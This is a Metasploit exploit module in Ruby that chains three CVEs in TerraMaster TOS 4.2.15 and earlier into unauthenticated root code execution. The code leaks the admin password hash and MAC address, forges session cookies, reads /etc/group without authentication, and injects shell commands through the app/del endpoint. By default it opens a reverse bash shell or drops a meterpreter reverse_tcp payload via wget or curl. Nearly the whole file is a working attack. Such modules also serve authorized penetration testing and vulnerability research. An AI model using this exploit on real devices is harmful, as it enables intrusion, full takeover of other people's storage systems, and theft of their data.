TerraMaster TOS 4.2.15 Remote Code Execution

### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##require 'digest/md5'require 'time'class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  include Msf::Exploit::Remote::HttpClient  include Msf::Exploit::CmdStager  include Msf::Exploit::FileDropper  prepend Msf::Exploit::Remote::AutoCheck  def initialize(info = {})    super(      update_info(        info,        'Name' => 'TerraMaster TOS 4.2.15 or lower - RCE chain from unauthenticated to root via session crafting.',        'Description' => %q{          Terramaster chained exploit that performs session crafting to achieve escalated privileges that allows          an attacker to access vulnerable code execution flaws. TOS versions 4.2.15 and below are affected.          CVE-2021-45839 is exploited to obtain the first administrator's hash set up on the system as well as other          information such as MAC address, by performing a request to the `/module/api.php?mobile/webNasIPS` endpoint.          This information is used to craft an unauthenticated admin session using CVE-2021-45841 where an attacker          can self-sign session cookies by knowing the target MAC address and the user password hash.          Guest users (disabled by default) can be abused using a null/empty hash and allow an unauthenticated attacker          to login as guest.          Finally, CVE-2021-45837 is exploited to execute arbitrary commands as root by sending a specifically crafted          input to vulnerable endpoint `/tos/index.php?app/del`.        },        'License' => MSF_LICENSE,        'Author' => [          'h00die-gr3y <h00die.gr3y[at]gmail.com>', # MSF module contributor          'n0tme' # Discovery and POC        ],        'References' => [          ['CVE', '2021-45837'],          ['CVE', '2021-45839'],          ['CVE', '2021-45841'],          ['URL', 'https://thatsn0tmy.site/posts/2021/12/how-to-summon-rces/'],          ['PACKETSTORM', '165399'],          ['URL', 'https://attackerkb.com/topics/8rNXrrjQNy/cve-2021-45837']        ],        'DisclosureDate' => '2021-12-24',        'Platform' => ['unix', 'linux'],        'Arch' => [ARCH_CMD, ARCH_X64, ARCH_X86, ARCH_AARCH64],        'Privileged' => true,        'Targets' => [          [            'Unix Command',            {              'Platform' => 'unix',              'Arch' => ARCH_CMD,              'Type' => :unix_cmd,              'DefaultOptions' => {                'PAYLOAD' => 'cmd/unix/reverse_bash'              }            }          ],          [            'Linux Dropper',            {              'Platform' => 'linux',              'Arch' => [ARCH_X64, ARCH_X86, ARCH_AARCH64],              'Type' => :linux_dropper,              'CmdStagerFlavor' => ['bourne', 'wget', 'curl'],              'DefaultOptions' => {                'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'              }            }          ]        ],        'DefaultTarget' => 0,        'DefaultOptions' => {          'RPORT' => 8181,          'SSL' => false        },        'Notes' => {          'Stability' => [CRASH_SAFE],          'Reliability' => [REPEATABLE_SESSION],          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]        }      )    )    register_options([      OptString.new('TARGETURI', [true, 'Path to Terramaster Web console', '/'])    ])  end  def get_data    # Initialise instance variable data to store the leaked data    @data = {}    # Get the data by exploiting the LFI vulnerability through vulnerable endpoint `api.php?mobile/webNasIPS`.    # CVE-2021-458439    res = send_request_cgi({      'method' => 'POST',      'uri' => normalize_uri(target_uri.path, 'module', 'api.php?mobile/webNasIPS'),      'headers' => {        'User-Agent' => 'TNAS',        'User-Device' => 'TNAS'      }    })    if res && res.code == 200 && res.body.include?('webNasIPS successful')      # Parse the JSON response and get the data such as admin password hash and MAC address      res_json = res.get_json_document      unless res_json.blank?        @data['password'] = res_json['data'].split('PWD:')[1].split("\n")[0].strip        @data['mac'] = res_json['data'].split('mac":"')[1].split('"')[0].tr(':', '').strip        @data['key'] = @data['mac'][6..11] # last three MAC address entries        @data['timestamp'] = Time.new.to_i.to_s        # derive signature        @data['signature'] = tos_encrypt_str(@data['key'], @data['timestamp'])      end    end  end  def tos_encrypt_str(key, str_to_encrypt)    id = key + str_to_encrypt    return Digest::MD5.hexdigest(id.encode('utf-8'))  end  def get_headers    {      'User-Agent' => 'TNAS',      'User-Device' => 'TNAS',      'Authorization' => @data['password'],      'Signature' => @data['signature'],      'Timestamp' => @data['timestamp']    }  end  def download_admin_users    # Initialise instance variable admin_users to store the admin users from /etc/group    @admin_users = []    # Download /etc/group information to find all the admin users belonging to the group admin.    # Using endpoint module/api.php?mobile/fileDownload as user guest allows to download the file without authentication.    # CVE-2021-45841    res = send_request_cgi({      'method' => 'POST',      'uri' => normalize_uri(target_uri.path, 'module', 'api.php?mobile/fileDownload'),      'ctype' => 'application/x-www-form-urlencoded',      'cookie' => "kod_name=guest; kod_token=#{tos_encrypt_str(@data['key'], '')}",      'headers' => get_headers,      'vars_post' => {        'path' => '/etc/group'      }    })    # get the admin users from /etc/group    if res && res.code == 200 && res.body.include?('admin')      res.body.each_line do |line|        next if line.empty?        field = line.split(':')        next unless field[0] == 'admin'        @admin_users = field[3].strip.split(',')        break      end    end  end  def get_session    # Use session crafting to iterate thru the list of admin users to gain a session.    # We will send two request per admin user. First request is a dummy request to obtain the session-id.    # This session-id will be used to send the second request that will execute the echo command with marker.    # if the response contains the marker, then the session has been successfully established.    # CVE-2021-45837    session = false    marker = Rex::Text.rand_text_alphanumeric(8..16)    for admin in @admin_users      res = send_request_cgi({        'method' => 'GET',        'uri' => normalize_uri(target_uri.path, 'tos', "index.php?app/del&id=0&name=;echo${IFS}#{marker};%23"),        'ctype' => 'application/x-www-form-urlencoded',        'keep_cookies' => true,        'cookie' => "kod_name=#{admin}; kod_token=#{tos_encrypt_str(@data['key'], @data['password'])}",        'headers' => get_headers      })      if res && res.code == 302 && !res.body.include?(marker.to_s)        # Send second request to establish a session and break from the loop if true.        res = send_request_cgi({          'method' => 'GET',          'uri' => normalize_uri(target_uri.path, 'tos', "index.php?app/del&id=0&name=;echo${IFS}#{marker};%23"),          'ctype' => 'application/x-www-form-urlencoded',          'keep_cookies' => true,          'headers' => get_headers        })      end      next unless res && res.code == 200 && res.body.include?(marker.to_s)      session = true      break    end    session  end  def get_terramaster_info    # get Terramaster CPU architecture (X64 or ARM64) and TOS version    @terramaster = {}    res = send_request_cgi({      'method' => 'GET',      'uri' => normalize_uri(target_uri.path, 'tos', 'index.php?user/login')    })    if res && res.body && res.code == 200      # get the version information from the request response like below:      # <link href="./static/style/bootstrap.css?ver=TOS3_A1.0_4.2.07" rel="stylesheet"/>      return if res.body.match(/ver=.+?"/).nil?      version = res.body.match(/ver=.+?"/)[0]      # check if architecture is ARM64 or X64      if version.match(/_A/)        @terramaster['cpu_arch'] = 'ARM64'      elsif version.match(/_S/) || version.match(/_Q/)        @terramaster['cpu_arch'] = 'X64'      else        @terramaster['cpu_arch'] = 'UNKNOWN'      end      # strip TOS version number and remove trailing double quote.      @terramaster['tos_version'] = version.split('.0_')[1].chop    end  end  def execute_command(cmd, _opts = {})    # Execute payload using vulnerable endpoint `index.php?app/del&id=0&name=;<PAYLOAD>;%23`    # CVE-2021-45837    payload = CGI.escape(cmd)    send_request_cgi({      'method' => 'GET',      'uri' => normalize_uri(target_uri.path, 'tos', "index.php?app/del&id=0&name=;#{payload};%23"),      'ctype' => 'application/x-www-form-urlencoded',      'keep_cookies' => true,      'headers' => get_headers    })  end  def check    get_terramaster_info    return CheckCode::Safe if @terramaster.empty?    if Rex::Version.new(@terramaster['tos_version']) <= Rex::Version.new('4.2.15')      return CheckCode::Vulnerable("TOS version is #{@terramaster['tos_version']} and CPU architecture is #{@terramaster['cpu_arch']}.")    end    CheckCode::Safe("TOS version is #{@terramaster['tos_version']} and CPU architecture is #{@terramaster['cpu_arch']}.")  end  def exploit    # get the leaked data    get_data    fail_with(Failure::BadConfig, 'Can not retrieve the leaked data.') if @data.empty?    download_admin_users    fail_with(Failure::BadConfig, 'Can not retrieve the list of admin users.') if @admin_users.empty?    fail_with(Failure::NoAccess, 'Can not establish an admin session.') unless get_session    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")    case target['Type']    when :unix_cmd      execute_command(payload.encoded)    when :linux_dropper      # Don't check the response here since the server won't respond      # if the payload is successfully executed.      execute_cmdstager(linemax: 65536)    end  endend